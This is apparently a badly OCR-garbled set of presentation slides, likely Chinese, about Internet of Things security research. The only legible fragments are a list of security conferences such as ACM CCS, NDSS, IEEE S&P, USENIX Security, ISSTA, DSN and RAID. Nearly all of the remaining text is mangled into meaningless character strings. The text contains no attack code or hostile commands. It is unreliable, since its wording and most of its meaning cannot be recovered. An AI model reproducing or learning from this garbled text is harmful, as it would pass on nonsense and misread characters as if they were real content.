175 Beel Il JBFRL. WIRSE) KL%k
== (IF. Zighee. WI-FiZ) , SihBEfRHE

PHERRE xR, KB, =S, FEEE L

B (FEE)  BEREESF

» T IEBREHRZIBMOR A AR

» BT L& ESHEMBIA

« IRIEMACHIIE R TR E] /B, H FEFER




G

—s DR (IoT) RERLNM
=\ FiRloTRFELR
= %‘%mfpﬂf%%ﬂﬁu@




i RRAZENILRES

s \NBRE T AR ?

« AKERETNE: ACM CCS, NDSS, IEEE S&P,
USENIX Security (X LTS ESFRI AR SE
PriolEl, SEINIEE TR, —AREGIitHUbtE#{XhS
AEY N

« T FETNE: ACM SIGSOFT ISSTA

» ML SEINS : IEEE/IFIP DSN

« HE: RAID, loT S&P, ACM WiSec, AsiaCCS

,ﬁﬁﬁﬁﬂ&%ﬁ%:ﬁﬁx

|




i RRAZENILRES

s NIRRT B FhRV A5 ?
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